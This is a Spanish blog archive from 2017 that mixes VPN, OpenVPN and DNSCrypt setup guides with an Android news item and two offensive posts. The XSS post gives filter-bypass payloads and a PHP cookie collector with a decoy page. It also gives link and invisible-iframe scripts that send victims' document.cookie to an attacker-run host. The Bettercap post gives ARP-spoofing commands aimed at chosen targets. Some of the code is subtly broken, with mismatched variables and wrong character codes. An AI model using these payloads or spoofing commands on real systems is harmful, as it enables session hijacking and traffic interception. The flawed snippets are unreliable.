Visitas a la página

Ayúdanos a seguir.

Páginas Amigas

domingo, 17 de septiembre de 2017

Hackeando tu ISP: Conectándote a ProtonVPN, una VPN segura y confiable desde Android.


En el post anterior les explicamos paso a paso cómo instalar OpenVPN en todas las plataformas. El día de hoy les vamos a enseñar cómo conectarse a una VPN segura y de confianza: ProtonVPN desde el sistema operativo Android**. ProtonVPN fué creada por los mismos fundadores de ProtonMail un servicio e-mail de los más seguros y privados hasta el momento, basado en Suiza, un país que respeta de una manera muy estricta los derechos de las personas en la red. 

ProtonVPN ofrece diferentes tipos de servicio, los cuales se pueden encontrar en https://account.protonvpn.com/signup las cuales son: Free, Basic, Plus y Visionary. Nosotros recomendamos que uses uno de los servicios de pago para mayor velocidad y mayor número de países a los cuales conectarse. Luego de crear nuestra cuenta, llenando los requisitos solicitados en https://account.protonvpn.com/signup vamos a realizar los siguientes pasos:

Nota: Para asegurarnos de que todo ha funcionado, primero revisaremos cual es nuestra dirección IP actual, para compararla con la obtenida al final del post. Para eso vamos a la página whatismyipaddress y guardamos nuestro número de dirección IP.

** Cabe aclarar que para este tutorial se utilizó la aplicación OpenVPN para Android en lugar de OpenVPN Connect.

1. Ingresamos a nuestra cuenta aquí.

2. Vamos a la sección "Downloads", seleccionamos Linux y TCP respectivamente. 


3. Un poco más abajo seleccionamos "Servers Configs".



4. Bajamos hasta el final y seleccionamos "Download all config servers."


 5. Una vez descargada la configuración de lo servidores, dependiendo desde cual dispositivo los hayan descargado, deben extraerlos en su dispositivo Android, en una carpeta llamada VPN opcionalmente.

6. Una vez finalizada la extracción, procedemos a configurar OpenVPN para Android. Abrimos la aplicación y seleccionamos el ícono de la parte derecha superior que significa "Importar".


7. Se abrirá el administrador de archivos, buscamos la carpeta VPN que hemos creado y abrimos el archivo de configuración del servidor al que querramos conectarnos.


8. Una vez seleccionada la configuración, se abrirá un diálogo que nos permite elegir el nombre que querramos asignarle a ese perfil, en la parte inferior izquierda seleccionamos "Guardar" en el ícono que aparece.

9. Una vez guardado, aparecerá nuestro perfil creado. Seleccionamos el perfil y se nos abrirá el recuadro de autenticación de la VPN, los cuales los encontramos en nuestra cuenta, en la sección "Account - OpenVPN Username".



Tip: Inicialmente el usuario y contraseña será una combinación de letras y números asignados por el servidor de ProtonVPN, pueden personalizarlos en las opciones "Change Username" & "Change Password".

10. Una vez ingresadas las credenciales, damos en "Aceptar" y allí iniciará nuestro proceso de conexión al servidor VPN.


11. Si todo ha salido bien, al final aparecerá una línea que dice "Initialization Sequence Completed".


12. Comprobamos que nuestra dirección IP corresponda a la del servidor que hemos seleccionado, en mi caso será Suiza (CH).


Nuestra recomendación es que uses siempre servidores VPN de pago y reconocidos, si no tienes el presupuesto necesario por el momento es mejor redirigir todo tu tráfico por TOR, más adelante explicaré como hacerlo desde Android.

Con esto finalizamos este post, en los proximos explicaremos cómo realizarlo para las plataformas restantes: iOS, Windows, Macintosh.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

viernes, 15 de septiembre de 2017

Hackeando tu ISP: Conectándote a ProtonVPN, una VPN segura y confiable desde GNU/Linux.



En el post anterior les explicamos paso a paso cómo instalar OpenVPN en todas las plataformas. El día de hoy les vamos a enseñar cómo conectarse a una VPN segura y de confianza: ProtonVPN desde el sistema operativo GNU/Linux. ProtonVPN fué creada por los mismos fundadores de ProtonMail un servicio e-mail de los más seguros y privados hasta el momento, basado en Suiza, un país que respeta de una manera muy estricta los derechos de las personas en la red. 

ProtonVPN ofrece diferentes tipos de servicio, los cuales se pueden encontrar en https://account.protonvpn.com/signup las cuales son: Free, Basic, Plus y Visionary. Nosotros recomendamos que uses uno de los servicios de pago para mayor velocidad y mayor número de países a los cuales conectarse. Luego de crear nuestra cuenta, llenando los requisitos solicitados en https://account.protonvpn.com/signup vamos a realizar los siguientes pasos:

Nota: Para asegurarnos de que todo ha funcionado, primero revisaremos cual es nuestra dirección IP actual, para compararla con la obtenida al final del post. Para eso usamos desde nuestra terminal el comando: curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'  y guardamos el número de IP obtenido.

1. Ingresamos a nuestra cuenta aquí.

2. Vamos a la sección "Downloads", seleccionamos Linux y TCP respectivamente.


3. Un poco más abajo seleccionamos "Servers Configs".


4. Bajamos hasta el final y seleccionamos "Download all config servers."


5. Una vez descargados nos vamos a nuestro directorio de descargas, creamos una carpeta llamada "VPN" (opcional) y extraemos el archivo .zip que se descargó con el comando: unzip "ProtonVPN_server_configs.zip". 

6. Una vez haya finalizado el proceso de extracción podemos conectarnos a nuestro cliente VPN deseado mediante OpenVPN, para ello usamos el comando: openvpn "cliente.protonvpn.ovpn", cabe resaltar que cliente.protonvpn.ovpn debe ser reemplazado por el archivo de configuración descargado.


A ustedes les aparecerá menos cantidad de servidores si eligen una cuenta Free o Basic, tampoco les aparecerán servidores especiales como los servidores VPN Tor.

7. Una vez ejecutemos el comando que está en la parte superior nos pedirá la autenticación, debemos introducir la que encontramos en la sección "Account - OpenVPN Username."




Tip: Inicialmente el usuario y contraseña será una combinación de letras y números asignados por el servidor de ProtonVPN, pueden personalizarlos en las opciones "Change Username" & "Change Password".

8. Si todo nuestro procedimiento ha sido exitoso al final nos debe aparecer un mensaje "Initialization Sequence Completed."


Nota: En mi caso aparecen unos "Warning" cuando OpenVPN intenta modificar mi archivo /etc/resolv.conf, esto se debe a que tengo configurado DNSCrypt para usar un servidor DNS que encripte todo mi tráfico.

9. Comprobamos que el proceso haya sido satisfactorio revisando nuestra IP pública actual con el comando usado al inicio: curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'. Realizamos la comparación, si la IP es diferente todo ha salido bien.


Nuestra recomendación es que uses siempre servidores VPN de pago y reconocidos, si no tienes el presupuesto necesario por el momento es mejor redirigir todo tu tráfico por TOR, más adelante explicaré como hacerlo.

Con esto finalizamos este post, en los proximos explicaremos cómo realizarlo para las plataformas restantes: Android, iOS, Windows, Macintosh.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

lunes, 11 de septiembre de 2017

Hackeando tu ISP: Instalación y configuración de OpenVPN en todas las plataformas.


En un post anterior explicamos paso a paso cómo instalar y configurar DNSCrypt en GNU/Linux, el día de hoy les enseñaremos cómo instalar y configurar OpenVPN en cualquier plataforma movíl o de computadora.

¿Que es OpenVPN?

OpenVPN es un daemon (Servicio) VPN robusto y altamente flexible. OpenVPN soporta seguridad SSL/TLS, puentes Ethernet, protocolos TCP o UDP a través de proxies o NAT, soporte para direcciones IP dinámicas y DHCP, escalabilidad a cientos o miles de usuarios y portabilidad a la mayoría de las plataformas principales.

OpenVPN está estrechamente unido a la biblioteca OpenSSL, y deriva gran parte de sus capacidades de cifrado de ella.

OpenVPN admite el cifrado convencional utilizando una clave secreta precompartida (modo de clave estática) o también de clave pública (SSL/TLS) mediante certificados de cliente y servidor. OpenVPN también admite túneles TCP/UDP no cifrados. Está diseñado para trabajar con la interfaz de red virtual TUN/TAP que existe en la mayoría de las plataformas.

Instalación y configuración.

* Linux.

Instalación.
 
Dependiendo de la distribución que uses, OpenVPN está disponible desde la mayoría de repositorios oficiales, así que lo puedes instalar con tu gestor de paquetes buscando el paquete openvpn.
ArchLinux: pacman -S openvpn
Debian: apt install openvpn
RedHat: yum install openvpn

Configuración.

Finalizada la instalación openvpn no necesita una configuración especial para funcionar en Debian o RedHat, sin embargo en ArchLinux debemos realizar una configuración adicional, si no la realizamos no funcionará. Se trata de un script que no incluye por defecto el paquete de instalación de ArchLinux el cual se llama update-resolv-conf.sh. Este script se encarga de actualizar las direcciones DNS de tu equipo de acuerdo a las configuradas por tu cliente VPN. El script puede ser descargado desde aquí y una vez descargado vamos a copiarlo dos veces en /etc/openvpn la primera copia de llamará update-resolv-conf.sh y la segunda copia update-resolv-conf. Una vez realizado esto le damos permisos de ejecución usando chmod + /etc/openvpn/update-resolv-conf.sh && chmod +x /etc/openvpn/update-resolv-conf.


* Windows.

Instalación.

Descarga el ejecutable .exe desde la página oficial de OpenVPN https://openvpn.net/index.php/download/community-downloads.html, ábrelo y da click en Next - Next... hasta que finalice la instalación.
Una vez finalizada la instalación tenemos listo nuestro cliente OpenVPN para usarlo.

Configuración.

En windows no requiere configuraciones adicionales.

* Macintosh.

Instalación.

Descarga Tunnelblick des su página oficial https://tunnelblick.net/downloads.html, una vez descargado instalamos el paquete .dmg.
Seleccionamos Tunnelblick en este paso.




Nos aparecerá un cuadro que dice "Este contenido fue descargado de internet, deseas abrirlo", damos click en "Open".


Luego aparecera un cuadro sobre la instalación le damos click en "Install" y esperamos a que finalize. Finalmente nos preguntará si deseamos ejecutarlo o salir.

Configuración.

No se requieren configuraciones adicionales.

* Android

Instalación.

Abrimos la Play Store y buscamos OpenVPN Connect u OpenVPN para Android.

 La seleccionamos y damos instalar.


 Aceptamos los permisos que requiere y esperamos a que se instale.


Los mismos pasos anteriores se deben seguir para instalar OpenVPN para Android.

Configuración.

No requiere configuraciones adicionales.

* IOS.

Instalación.

Abre la App Store y busca OpenVPN Connect, seleccionala.
Selecciona "free" e install.


Introduce tu clave de Itunes Store y espera a que finalice la instalación.


Configuración.

No requiere configuraciones adicionales.

Con esto damos por finalizado este post el cual esperamos que se de su agrado y utilidad, en el siguiente explicaremos cómo conectarse desde las plataformas anteriores a un cliente VPN y de esa manera ocultar nuestra ip.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.

domingo, 10 de septiembre de 2017

"Google Android". Saca su versión para los que le gustan las oreo


Google Android lanza al mercado su nueva versión de su sistema operativo, "Android 8.0 Oreo". Entre su novedades estará en el mantenimiento de su plataforma  Google Play Protect que  mantienen su dispositivo y sus datos protegidos de las aplicaciones de mal funcionamiento mediante el escaneo de más de 50 millones de aplicaciones por día, incluso los que no han instalado todavía! También  tendrá mejoras en su batería aunque este jugando o trasmitiendo usted se sentirá confiado en mantener su batería fuerte.


Le permite ver dos aplicaciones a la vez.
Destaca la notificación entrante con una fuente más grande, nombre de aplicación resaltado y acceso inmediato a las acciones. Le permite acceder rápidamente a las funciones de accesibilidad barra de navegación, como la ampliación y funcionalidad dentro de los servicios de accesibilidad, como Select a hablar. Función API para audio de alto rendimiento, incluyendo API de audio Native C/C++.


Los desarrolladores pueden ahora permitir que el tamaño de su texto se expanda o se contraiga automáticamente basándose en el tamaño y las características de TextView, lo que facilita mucho la optimización del tamaño del texto en diferentes pantallas o con contenido dinámico. 

Se conecta automáticamente a la alta calidad Wi-Fi y lo conecta con una VPN a Google.

Una de las novedades es incluyen 60 nuevos emoji, entre esta tenemos mujeres representando su trabajo.


La actualización estará disponible a finales de año en dispositivos de fabricantes de teléfonos, como Samsung, Sharp, Sony, Essential, General Mobile, Huawei, HTC, Kyocera, LG y Motorola. Para los dispositivos de Google como el teléfono Pixel, Nexus 5X y 6P, Para mayor información pueden leer su pagina oficial. https://www.android.com/versions/oreo-8-0/

Dejen sus recomendaciones en los comentarios. Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.

¡Hackeando tu ISP!. Instalación y configuración de DNSCrypt en GNU/Linux.


El día de hoy les explicaremos que es DNSCrypt, para que sirve, cómo funciona y también detallaremos paso a paso cómo configurarlo en nuestro sistema GNU/Linux para de esa manera obtener una conexión encriptada, de tal manera que nisiquiera nuestro ISP (Proveedor de Servicios) pueda conocer lo que realizamos a diario.

¿Que es DNSCrypt?

DNSCrypt es un protocolo que cifra y autentica las comunicaciones entre el usuario y un servicio de resolución DNS, evita la suplantación de DNS y utiliza firmas criptográficas para verificar que las respuestas provienen del servicio de resolución DNS elegido y no han sido manipuladas.

Es un protocolo abierto, con implementaciones de código abierto y gratuito, y no está afiliada a ninguna empresa u organización. DNSCrypt está disponible para la todas las plataformas en computadoras y dispositivos móviles.

Toma el control de tu tráfico DNS

Además de implementar el protocolo, los clientes comunes de DNSCrypt le dan mucho control sobre el tráfico de DNS.

Utilice dnscrypt-proxy para:

1. Comprobar el tráfico de DNS procedente de su red en tiempo real y detecte hosts y aplicaciones comprometidos en su red.

2. Bloquee localmente anuncios, rastreadores, malware, spam y cualquier sitio web cuyos nombres de dominio o direcciones IP coincidan con un conjunto de reglas que defina.

3. Evitar que las consultas de las zonas locales no se filtren.

4. Reduzca la latencia (tiempo que se necesita para trasmitir datos de un punto a otro en una red) mediante el caché de respuestas y evite solicitar direcciones IPv6 en redes IPv4 solamente.

5. Forzar el tráfico para utilizar TCP, para enrutarlo a través de túneles TCP o simplemente usando Tor.

Instalación.

DNSCrypt se encuentra disponible en la mayoría de distribuciones GNU/Linux desde sus repositorios. Para su instalación en Debian y ArchLinux basta con ejecutar las siguiente órdenes:

ArchLinux: pacman -S dnscrypt-proxy
Debian: apt install dnscrypt-proxy

Adicionalmente puede descargarlo desde su página oficial.

Configuración

DNSCypt proporciona un archivo de configuración cómo ejemplo en /etc/dnscrypt-proxy.conf.example, pero tenga en cuenta que systemd reemplaza la opción LocalAddress con un archivo de socket.

Para configurar DNSCrypt sin problemas sigue los siguientes paso:

Selecciona un servicio de resolución DNS.

Para seleccionar un servicio de resolución DNS adecuado para ti, puedes visitar la página https://github.com/jedisct1/dnscrypt-proxy/blob/master/dnscrypt-resolvers.csv o bien desde tu archivo /usr/share/dnscrypt-proxy/dnscrypt-resolvers.csv, usando un nombre corto de los que aparecen en la columna "name" de la página mencionada.

En la imagen anterior un ejemplo de ellos sería bn-fr0.

Lo que debes hacer es cambiar tu archivo /etc/dnscrypt-proxy.conf en el apartado Resolver Settings cómo se muestra a continuación:


También es necesario configurar de manera correcta el apartado ResolversList dentro del archivo /etc/dnscrypt-proxy.conf añadiendo en seguida la ruta donde se encuentra el archivo dnscrypt-resolvers.csv. Es recomendable mantener ese archivo actualizado lo cual puedes hacer copiando, pegando y guardando dentro del archivo lo que está en este link.

También es altamente recomendable realizar lo siguiente:

1. Crea un nuevo usuario llamado dnscrypt usando el siguiente comando sudo adduser -m -N  -r -s /bin/false dnscrypt y enseguida edita el archivo /etc/dnscrypt-proxy.conf en la opción User de la siguiente manera:

User dnscrypt




Modifica el archivo /etc/resolv.conf

Después de realizar el procedimiento anterior, modifica el archivo /etc/resolv.conf reemplazando el contenido existente con:

nameserver 127.0.0.1

Sin embargo existen programas que pueden modificar este archivo, para evitarlo realizaremos los siguientes pasos:

1. Si usas Network Manager edita el archivo /etc/NetworkManager/NetworkManager.conf añadiendo las siguiente líneas:
[main]
dns=none

2. Si usas DHCP modifica el archivo /etc/dhcpcd.conf añadiendo la siguiente línea al final:

nohook resolv.conf

3. Opcionalmente para un mejor rendimiento puedes añadir la siguientes línea en /etc/resolv.conf:

options timeout:1

4. Protege el archivo /etc/resolv.conf contra escritura usando el siguiente comando:

chattr +i /etc/resolv.conf

5. Iniciamos el servicio usando el comando systemctl start dnscrypt-proxy y del mismo modo lo añadimos a la lista de servicios que inician automáticamente con el sistema mediante el comando systemctl enable dnscrypt-proxy. Con esto ya debemos tener nuestro DNSCrypt configurado y funcionando en nuestro sistema, para asegurarnos ejecutamos systemctl status dnscrypt-proxy y debemos obtener algo cómo esto:


¿Qué hago si el comando systemctl start dnscrypt-proxy no funciona (Problema comprobado en Fedora)?

La primera opción es que ejecutes directamente desde la terminal el comando dnscrypt-proxy /etc/dnscrypt-proxy.conf y con esto ya debería funcionar, pero dado que es incómodo tener que ejecutarlo siempre, vamos a crear un servicio para poder iniciarlo con systemctl y añadirlo a la lista de servicios que inician con el sistema, para eso hacemos lo siguiente:

1. Creamos el archivo /usr/lib/systemd/system/dnscrypt-proxy.service con nuestro editor de textos favorito y copiamos y pegamos el siguiente contenido:

[Unit]
Description=dnscrypt - Encrypted DNS service provided by OpenDNS
After=NetworkManager.service

[Service]
ExecStart=/usr/sbin/dnscrypt-proxy /etc/dnscrypt-proxy.conf

[Install]
WantedBy=multi-user.target


2. Guardamos el archivo y ejecutamos el comando systemctl daemon-reload. 

3. Realizamos lo descrito en el paso 5 de la sección anterior.

Finalizando.

Tip: Busca en el archivo /etc/dnscrypt-proxy.conf la opción LocalCache y asegurate que esté desmarcada y On, así:

## Cache DNS responses to avoid outgoing traffic when the same queries
## are repeated multiple times in a row.

LocalCache on
También podemos comprobar que DNSCrypt está funcionando mediante el uso del comando dig, para lo cual necesitamos instalar previamente el paquete bind-tools mediante el gestor de paquetes de su distribución, una vez instalado ejecutamos dig debug.opendns.com txt y debemos obtener algo así en la salida de la terminal:


Con esto finalizamos este post, esperamos que haya sido de su agrado.  

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

También puedes dejar su donación a nuestra cuenta Paypal.



viernes, 8 de septiembre de 2017

Parte 2: Cross Site Scripting (XSS): Robo de cookies y modificación de un sitio web (persistente y reflejado).



En un post anterior explicamos los peligros de tener o hallar una vulnerabilidad XSS en un sitio web, así como los tipos de XSS que existen y la manera de explotarlos. Hoy vamos a ver las tecnicas más avanzadas que existen al momento de querer explotar un fallo XSS.

Metodo 1: Reemplazando <script> con una sentencia nula "".


Aquí hay un código que tiene un filtro para detectar ataques XSS, sin embargo es vulnerable a XSS Reflejado modificando un parámetro.

<?php
if(!array_key_exists ("nombre", $_GET) || $_GET['nombre'] == NULL || $_GET['nombre'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hola ' . str_replace('<script>', '', $_GET['nombre']);
echo '</pre>';
}
?>

Cómo puedes ver en el código anterior, el developer añadió un filtro que reemplaza la cadena "<script>" con el sting nulo "". Una manera de bypassear este filtro es, en lugar de "<script>" escribir "<SCRIPT>" en mayúscula, ya que el developer solo filtra el texto "<script>" en minúscula. La manera de bypassear este filtro sería: <SCRIPT>.......</SCRIPT>

Otra manera de bypassear el filtro anterior es usando la siguiente sentencia

<script type=text/javascript>alert("XSS")</script>

Tenga en cuenta que usar las siglas XSS para probar si un sitio web es vulnerable a dicho ataque es una mala idea, la mayoría de sitios bloquean peticiones que contienen esas letras.

Metodo 2: Filtración de magic quotes (carácteres especiales).

En esta tecnica el desarrollador del sitio web, usa una funcion PHP llamada "addslashes()" que añade un slash "/" antes de cualquier carácter especial. Por eso el tradicional código que se usa para pruebas XSS no funciona.

Sin embargo hay varias maneras de bypassear este filtro que discutimos a continuación.

1. El metodo más facíl de bypassear este filtro es justamente no usando magic quotes, por ejemplo declarando una variable y asignando un número a ella, luego generando un mensaje con esa variable de este modo:

<script>var val= 1; alert(val)</script>

2. Este metodo es un poco más avanzado, consiste en utilizar una función incluida en JavaScript que permite convertis valores decimales a ASCII, usted puede encontrar una tabla completa de valores ASCII aquí http://www.asciitable.com/  esto puede ayudarte a escribir lo que tu quieres o también puedes usar el convertidor de DuckDuckGo el cual te ayuda a convertir múltiples tipos de textos a otros formatos, en este casi de ASCII a decimal. Si deseamos por ejemplo escribir "XSS" en nuestro caso el equivalente en decimal es "88 83 83", ahora que tenemos nuestro valor decimal necesitamos saber que función de JavaScript convierte de decimal a ASCII, esta función se llama "String.fromCharCode()" y para usar esta con un script de alerta lo haríamos de la siguiente manera:

<script>alert(String.fromCharCode(120, 115, 115)</script>

Ahora la página nos debería mostrar el texto "XSS" en pantalla, este método es muy eficiente para bypassear la protección anteriormente mencionada.

Realizando el robo de cookies.

Probablemente haya oído acerca del robo de cookies y cómo pueden estas ser usadas para iniciar sesiones en un sitio web, servidor, etc. Debes estar pensando que realizar un robo de cookies es un trabajo difícil y que tomará mucho tiempo, sin embargo es algo muy simple y fácil, solo necesitamos unas bases de programación y un sitio vulnerable a XSS.

Lo que necesitamos para realizar el robo de cookies es lo siguiente: Crear un script PHP llamado recolector_de_cookies.php, subiremos este a una compañía de hosting, luego injectaremos un código JS malicioso que enviará las cookies a nuestro sitio web malicioso y cuando nuestro archivo PHP recibe la información la guardará en un archivo llamado cookie_robada.txt. ¿Fácil verdad?

Entonces necesitamos lo siguiente:

* Un script PHP que reciba la cookie.
* Un código JS que envíe la cookie a nuestro sitio web malicioso.
* Una compañía de hosting que te permita subir el script PHP.

1. recolector_de_cookies.php


Aquí he creado un script que puede ser usado con esa finalidad, el cual recolecta y guarda la cookie en un archivo llamado cookie_robada.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie_robada.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
?>
 
Para entender lo que hace este script:

$collectedCookie=$HTTP_GET_VARS["cookie"]; 
Esta línea guarda los datos que están almacenados en la variable llamada cookie dentro de la variable llamada collectedCookie.

$date=date("l ds of F Y h:i:s A");
Esta línea guarda los datos en que se realizó el robo de la cookie.

$user_agent=$_SERVER['HTTP_USER_AGENT'];
Aquí guardamos el User Agent usado por la víctima al momento de iniciar sesion, puede servir para futuros ataques en caso de ser requerido.

$file=fopen('cookie_robada.txt','a');
Aquí creamos el archivo cookie_robada.txt el cual guarda la información almacenada en las cookies de la víctima.

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
Aquí guardamos los datos en el formato ("FECHA: || User Agent || COOKIE").

fclose($file);
Cerramos el archivo.

echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
Imprimimos el mensaje "Lo sentimos, esta página está en construcción" y ofrecemos un link que los redirige a google.

Aquí terminamos con el archivo que nos será de utilidad para robar las cookies.

2. Código JavaScrip.

Este es un código JS que puede ser inyectado en el servidor o en el navegador de la víctima. Podemos usar cualquiera de los siguientes scripts:

<a onclick="document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);" href="#">Click aquí para detalles.</a>

Este script necesita la interacción del usuario ya que ofrecemos un link al usuario que debe clickearlo, el cual lo redireccionará a nuestro sitio web malicioso que se encargará de recolectar toda la información.

<iframe width='0' height='0' frameborder='0'
src='<script>document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);</script>' />

Este script no necesita ningún tipo de interacción ya que inyecta directamente el sitio web la victima y además es invisible a la victima que no puede ver nada cuando la conexión es establecida y de este modo podemos robar la información.

Una vez realizado con éxito el ataque podemos buscar en nuestro hosting el archivo llamado cookie_robada.txt y darle los usos que consideremos pertinentes. 

Nota: Vabe la pena resaltar que en los scripts anteriores debemos cambiar la variable document.location por  document.location='http://nuestrohosting.com/recolector_de_cookies.php?cookie='+escape(document.cookie);

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.



jueves, 7 de septiembre de 2017

Bettercap - Una herramienta completa, modular y de fácil uso para realizar ataques Man-In-The-Middle estudiada a fondo.



Buen día a todos nuestros lectores, hoy vamos a explicarles las principales funciones de esta poderosa herramienta, así como su instalación, principales funciones y sus modos de uso.

¿Qué es Bettercap?

BetterCAP es una herramienta potente, flexible y portátil creada para realizar varios tipos de ataques MITM contra una red, manipular HTTP , HTTPS y tráfico TCP en tiempo real, buscar credenciales y mucho más. 

Ataques Man-In-The-Middle.

En la criptografía y la seguridad informática , un ataque de hombre en el medio (a menudo abreviado a MITM , MitM , MIM , MiM o MITMA ) es un ataque donde el atacante secretamente transmite y posiblemente altera la comunicación entre dos partes que creen que son comunicándose directamente entre sí .  A través de una analogía de ajedrez se pueden pensar los ataques de hombre en el medio .

Alguien que apenas sabe jugar al ajedrez , afirma que puede jugar dos grandes maestros simultáneamente y ganar un juego o sacar ambos .  Espera a que el primer gran maestro haga un movimiento y luego hace este mismo movimiento contra el segundo gran maestro .  Cuando el segundo gran maestro responde , Mallory hace el mismo juego contra el primero.  El juega todo el juego de esta manera y no puede perder.

Un ataque de hombre en el medio (MITM) es una estrategia similar y puede utilizarse contra muchos protocolos criptográficos . Un ejemplo de ataques de hombre en el medio es la escucha activa , en la que el atacante establece conexiones independientes con las víctimas y transmite mensajes entre ellos para hacerles creer que están hablando directamente entre sí a través de una conexión privada , cuando de hecho la toda la conversación es controlada por el atacante . El atacante debe ser capaz de interceptar todos los mensajes relevantes que pasan entre las dos víctimas e inyectar nuevos . Esto es sencillo en muchas circunstancias ; por ejemplo , un atacante dentro del rango de recepción de un punto de acceso inalámbrico Wi - Fi no cifrado , puede insertarse como un hombre en el medio.
Esta es una descripción genérica, sobre todo porque (si estamos hablando de ataques MITM de red), la lógica y los detalles dependen en gran medida de la técnica que se está utilizando (más en la sección de spoofing).

Sin embargo, podemos simplificar el concepto con un ejemplo. Cuando se conecta a alguna red (su red doméstica, WiFi público, StarBucks, etc.), el router / switch es responsable de reenviar todos sus paquetes al destino correcto, durante un ataque MITM "forzamos" a la red a considerar nuestra dispositivo como el enrutador (nosotros "spoofeamos/suplantamos" la dirección original del ranurador / del interruptor de cierta manera): 



Una vez que esto ocurre, todo el tráfico de la red pasa a través de su computadora en lugar del enrutador/switch legítimo y en ese momento usted puede hacer prácticamente todo lo que quiere, desde sólo sniffear datos específicos (correos electrónicos, contraseñas, cookies, etc de otras personas en su red) hasta interceptar y procesar activamente todas las peticiones de algún protocolo específico con el fin de modificarlas (puede, por ejemplo, reemplazar todas las imágenes de todos los sitios web visitados por todos, eliminar conexiones, etc.).

BetterCap es responsable de proporcionar al investigador de seguridad todo lo que necesita en una sola herramienta que funciona simplemente en sistemas GNU / Linux, Mac OS X y OpenBSD.

¿Por qué Bettercap?

Usted podría pensar que Bettercap es sólo otra herramienta que ayuda a script-kiddies a dañar las redes ... pero es mucho más que eso, sus casos de uso son muchos, por ejemplo:
* Muchos profesionales de la penetración probadores encontrar un gran compañero en bettercap desde su primer lanzamiento.
*   Los ingenieros inversos lo utilizan para invertir o modificar protocolos de red cerrados.
*  Los investigadores de seguridad de Móvil/IoT están aprovechando las capacidades de bettercap para probar la seguridad de los sistemas móviles.

¿Por qué otra herramienta MITM?


Esto es exactamente lo que estás pensando ahora mismo, ¿no? :D Pero permítete pensarlo por 5 minutos más ... lo que deberías estar preguntando es:

 ¿Existe una herramienta MITM completa, modular, portátil y fácil de extender?

Si su respuesta es "ettercap", permítanme decirles algo:

*  Ettercap era una gran herramienta, pero hizo su tiempo.
*  Ettercap filtros no funcionan la mayoría de las veces, son obsoletos y difíciles de implementar debido al lenguaje específico en el que se implementan.
* Ettercap es inestable en grandes redes ... intenta lanzar un escaneo en una red más grande que el usual /24.
* A menos que seas un desarrollador de C / C ++, no puedes extender fácilmente ettercap ni crear tu propio módulo.

Además:

* Los módulos MITM e ICMP spoofing en ettercap son completamente inútiles.
* Ettercap no proporciona un sniffer de credenciales inteligente y completamente personalizable, lo hacemos.

Instalación


BetterCap viene empaquetado como una gema de Ruby , lo que significa que necesitará un intérprete Ruby (> = 1.9) y un entorno RubyGems instalado. Además, es totalmente compatible con las plataformas GNU / Linux, Mac OS X y OpenBSD .

Dependencias

Todas las dependencias de Ruby se instalarán automáticamente a través del sistema GEM, sin embargo algunas GEMS necesitan bibliotecas nativas para compilar como son build-essential ruby-dev libpcap-dev, instalalas.

Instalación en Kali Linux:

apt install bettercap

Instalación en ArchLinux (Pentesting).

pacman -S bettercap  

Una vez instalado podemos ver las opciones disponibles usando el comando bettercap --help, cómo usuario root.

Opciones generales


Las siguientes son las principales opciones que determinan el comportamiento general de BetterCap, estas opciones no son obligatorias , de hecho bettercap detectará automáticamente todo lo que necesita para trabajar, solo necesitará usar una o más de las siguientes opciones para especificar algunos comportamientos personalizados en casos específicos.

Ejemplos

Atacar objetivos específicos:

sudo bettercap -T 192.168.1.10,192.168.1.11

Ataca un objetivo específico mediante su dirección MAC:

sudo bettercap -T 01:23:45:67:89:10

Atacar una gama de direcciones IP:

sudo bettercap -T 192.168.1.1-30

Atacar una subred específica:

sudo bettercap -T 192.168.1.1/24

Modificar la dirección MAC de la interfaz durante el ataque:

sudo bettercap --random-mac

Opciones

-I, --interface IFACE

BetterCAP detectará automáticamente su interfaz de red predeterminada y la utilizará, si desea hacerla usar otra interfaz (cuando tenga más de uno, digamos eth0 y wlan0 ) puede usar esta opción.

--use-mac ADDRESS

Cambia la dirección MAC de la interfaz a este valor antes de realizar el ataque.

--random-mac

Cambia la dirección MAC de la interfaz a una aleatoria antes de realizar el ataque.

-G, --gateway ADDRESS

Lo mismo ocurre con la puerta de enlace, o bien permite que bettercap lo detecte automáticamente o especifique manualmente su dirección.

-T, --target ADDRESS1,ADDRESS2

Si no se especifica un destino específico en la línea de comandos, bettercap añadirá como target cada una de las direcciones de la red. Hay casos en los que ya conoce la dirección IP o MAC de su(s) destino(s), en estos casos puede utilizar esta opción.

--ignore ADDRESS1,ADDRESS2

Ignore estas direcciones IP si se encuentran durante la búsqueda de objetivos.

--no-discovery
Hace que bettercap no busque activamente hosts, solo use la cache ARP actual, por defecto desactivada .

--no-target-nbns

Deshabilite la resolución de nombre de host NBNS de destino.

--packet-throttle NUMBER

Número de segundos (puede ser un número decimal) para esperar entre cada paquete a enviar.

--check-updates

Verificará si hay alguna actualización disponible y luego sale.

-h, --help

Muestra las opciones disponibles. 

Spoofing


Como se describió anteriormente en la sección de introducción, la suplantación es el corazón de cada ataque MITM. Estas opciones determinarán qué técnica de spoofing utilizar y cómo utilizarla.

BetterCap ya incluye un spoofer ARP (funcionando tanto en modo dúplex completo como medio duplex), un spoofer de DNS y el primer spoofer de ICMP DoubleDirect totalmente funcional y totalmente automatizado en el mundo.

Ejemplos


Utilice el viejo, pero efectivo ARP spoofing:

sudo bettercap o sudo bettercap -S ARP o sudo bettercap --spoofer ARP

